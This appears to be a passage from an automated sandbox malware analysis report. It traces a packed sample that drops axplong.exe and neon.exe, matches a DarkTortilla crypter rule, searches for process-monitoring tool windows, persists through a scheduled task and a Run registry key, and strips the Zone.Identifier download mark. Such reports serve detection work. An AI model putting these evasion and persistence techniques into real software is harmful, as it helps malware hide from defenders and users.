Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 1883648 > 1048576

Source: file.exe

Static PE information: Raw size of hfllqtxz is bigger than: 0x100000 < 0x19a400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hfllqtxz:EW;qpgmzvyb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hfllqtxz:EW;qpgmzvyb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.7c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hfllqtxz:EW;qpgmzvyb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hfllqtxz:EW;qpgmzvyb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 3.2.axplong.exe.7c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hfllqtxz:EW;qpgmzvyb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hfllqtxz:EW;qpgmzvyb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 6.2.axplong.exe.7c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hfllqtxz:EW;qpgmzvyb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hfllqtxz:EW;qpgmzvyb:EW;.taggant:EW;

Yara detected DarkTortilla Crypter

Source: Yara match	File source: 7.2.neon.exe.15bf1a78.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.neon.exe.241a0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.neon.exe.241a0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.neon.exe.15bf1a78.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3328015730.0000000015BF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3333507125.00000000241A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3311651880.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: neon.exe PID: 6160, type: MEMORYSTR

.NET source code contains potential unpacker

Source: neon[1].exe.6.dr, c2YQ.cs	.Net Code: o5BJ System.Reflection.Assembly.Load(byte[])
Source: neon.exe.6.dr, c2YQ.cs	.Net Code: o5BJ System.Reflection.Assembly.Load(byte[])

Source: neon.exe.7.dr

Static PE information: 0xC7142059 [Sun Nov 3 05:36:25 2075 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: neon[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x38421f
Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1d4833 should be: 0x1da6ed
Source: file.exe	Static PE information: real checksum: 0x1d4833 should be: 0x1da6ed
Source: neon.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x1a3c9
Source: neon.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x38421f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hfllqtxz
Source: file.exe	Static PE information: section name: qpgmzvyb
Source: file.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: hfllqtxz
Source: axplong.exe.0.dr	Static PE information: section name: qpgmzvyb
Source: axplong.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_007DD84C push ecx; ret	6_2_007DD85F
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Code function: 7_2_2024C920 push ecx; retf EFCDh	7_2_2024D7EA
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Code function: 7_2_2025700D push ebx; retn 0040h	7_2_2025700E
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Code function: 7_2_202400BD pushad ; iretd	7_2_202400C1
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Code function: 7_2_2024AACF push esp; retf	7_2_2024AAD9
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Code function: 7_2_20258374 pushad ; retf	7_2_202583CD

Source: file.exe	Static PE information: section name: entropy: 7.9723620695776765
Source: file.exe	Static PE information: section name: hfllqtxz entropy: 7.953481411465242
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.9723620695776765
Source: axplong.exe.0.dr	Static PE information: section name: hfllqtxz entropy: 7.953481411465242

Source: neon.exe.7.dr, rtGPmvPIdl5IaacYtOxDvUDj4cyvAKDSBQSIKnjuJ.cs	High entropy of concatenated method names: 'lXIhNy5k2zuUtWijXRf3Smh', 'K04wNKQqGraj7cH31jV3', 'XjtDF35KWLF6l1is3R1Q6HxEJwEr3PbjtGbh2HVd2', 'lvOSFdRQCCluXgGa7jGQkU1jNoXRaK5EpfPYnW', 'gZQk7h6spRLFg3NwAmoe'
Source: neon.exe.7.dr, gabKErPURPS76kDKjrme.cs	High entropy of concatenated method names: 'EmwYECB1wGyvIA2snT', 'zQyq6GQCkVXH2m9ORWKDS7znEfc2l', 'X3TE6RCIZMD7ECwwVoqD8j43J8u', 'SwV7wVQkM24hXoCSpr83uLH4TEFtSUXME6LQS7', 'gIglw7CqsSJGzE2AtTN3JYbIYwYS1QQ7ADpw', 'aciMX0Q3f70STq8WXW'
Source: neon.exe.7.dr, tT7bk4FnxbYaKqMtWjIqvyKWh4J9tkfAvLZ8e5Y4BU.cs	High entropy of concatenated method names: 'nn9DM7TZkpnl4dSPqnpPS2oW', 'LztRLhG61h4KFshxtO7P7', 'G4vjdlUHNvtWZenTXSNdtGwCIYmCoKE77', '_5fQycwGNtn0lBuMB2jteITZhMQF3wG', 'ZJSZEAUpgBzwUgSXvnbC6lEhXmP5VpN2nCiGvnzMTR'
Source: 7.2.neon.exe.5ef4730.2.raw.unpack, rtGPmvPIdl5IaacYtOxDvUDj4cyvAKDSBQSIKnjuJ.cs	High entropy of concatenated method names: 'lXIhNy5k2zuUtWijXRf3Smh', 'K04wNKQqGraj7cH31jV3', 'XjtDF35KWLF6l1is3R1Q6HxEJwEr3PbjtGbh2HVd2', 'lvOSFdRQCCluXgGa7jGQkU1jNoXRaK5EpfPYnW', 'gZQk7h6spRLFg3NwAmoe'
Source: 7.2.neon.exe.5ef4730.2.raw.unpack, gabKErPURPS76kDKjrme.cs	High entropy of concatenated method names: 'EmwYECB1wGyvIA2snT', 'zQyq6GQCkVXH2m9ORWKDS7znEfc2l', 'X3TE6RCIZMD7ECwwVoqD8j43J8u', 'SwV7wVQkM24hXoCSpr83uLH4TEFtSUXME6LQS7', 'gIglw7CqsSJGzE2AtTN3JYbIYwYS1QQ7ADpw', 'aciMX0Q3f70STq8WXW'
Source: 7.2.neon.exe.5ef4730.2.raw.unpack, tT7bk4FnxbYaKqMtWjIqvyKWh4J9tkfAvLZ8e5Y4BU.cs	High entropy of concatenated method names: 'nn9DM7TZkpnl4dSPqnpPS2oW', 'LztRLhG61h4KFshxtO7P7', 'G4vjdlUHNvtWZenTXSNdtGwCIYmCoKE77', '_5fQycwGNtn0lBuMB2jteITZhMQF3wG', 'ZJSZEAUpgBzwUgSXvnbC6lEhXmP5VpN2nCiGvnzMTR'
Source: 7.2.neon.exe.5f0ab10.1.raw.unpack, rtGPmvPIdl5IaacYtOxDvUDj4cyvAKDSBQSIKnjuJ.cs	High entropy of concatenated method names: 'lXIhNy5k2zuUtWijXRf3Smh', 'K04wNKQqGraj7cH31jV3', 'XjtDF35KWLF6l1is3R1Q6HxEJwEr3PbjtGbh2HVd2', 'lvOSFdRQCCluXgGa7jGQkU1jNoXRaK5EpfPYnW', 'gZQk7h6spRLFg3NwAmoe'
Source: 7.2.neon.exe.5f0ab10.1.raw.unpack, gabKErPURPS76kDKjrme.cs	High entropy of concatenated method names: 'EmwYECB1wGyvIA2snT', 'zQyq6GQCkVXH2m9ORWKDS7znEfc2l', 'X3TE6RCIZMD7ECwwVoqD8j43J8u', 'SwV7wVQkM24hXoCSpr83uLH4TEFtSUXME6LQS7', 'gIglw7CqsSJGzE2AtTN3JYbIYwYS1QQ7ADpw', 'aciMX0Q3f70STq8WXW'
Source: 7.2.neon.exe.5f0ab10.1.raw.unpack, tT7bk4FnxbYaKqMtWjIqvyKWh4J9tkfAvLZ8e5Y4BU.cs	High entropy of concatenated method names: 'nn9DM7TZkpnl4dSPqnpPS2oW', 'LztRLhG61h4KFshxtO7P7', 'G4vjdlUHNvtWZenTXSNdtGwCIYmCoKE77', '_5fQycwGNtn0lBuMB2jteITZhMQF3wG', 'ZJSZEAUpgBzwUgSXvnbC6lEhXmP5VpN2nCiGvnzMTR'
Source: 7.2.neon.exe.5f1dd40.0.raw.unpack, rtGPmvPIdl5IaacYtOxDvUDj4cyvAKDSBQSIKnjuJ.cs	High entropy of concatenated method names: 'lXIhNy5k2zuUtWijXRf3Smh', 'K04wNKQqGraj7cH31jV3', 'XjtDF35KWLF6l1is3R1Q6HxEJwEr3PbjtGbh2HVd2', 'lvOSFdRQCCluXgGa7jGQkU1jNoXRaK5EpfPYnW', 'gZQk7h6spRLFg3NwAmoe'
Source: 7.2.neon.exe.5f1dd40.0.raw.unpack, gabKErPURPS76kDKjrme.cs	High entropy of concatenated method names: 'EmwYECB1wGyvIA2snT', 'zQyq6GQCkVXH2m9ORWKDS7znEfc2l', 'X3TE6RCIZMD7ECwwVoqD8j43J8u', 'SwV7wVQkM24hXoCSpr83uLH4TEFtSUXME6LQS7', 'gIglw7CqsSJGzE2AtTN3JYbIYwYS1QQ7ADpw', 'aciMX0Q3f70STq8WXW'
Source: 7.2.neon.exe.5f1dd40.0.raw.unpack, tT7bk4FnxbYaKqMtWjIqvyKWh4J9tkfAvLZ8e5Y4BU.cs	High entropy of concatenated method names: 'nn9DM7TZkpnl4dSPqnpPS2oW', 'LztRLhG61h4KFshxtO7P7', 'G4vjdlUHNvtWZenTXSNdtGwCIYmCoKE77', '_5fQycwGNtn0lBuMB2jteITZhMQF3wG', 'ZJSZEAUpgBzwUgSXvnbC6lEhXmP5VpN2nCiGvnzMTR'

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	File created: C:\Users\user\AppData\Local\Temp\neon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\neon[1].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run neon			Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run neon			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe

File opened: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe\:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
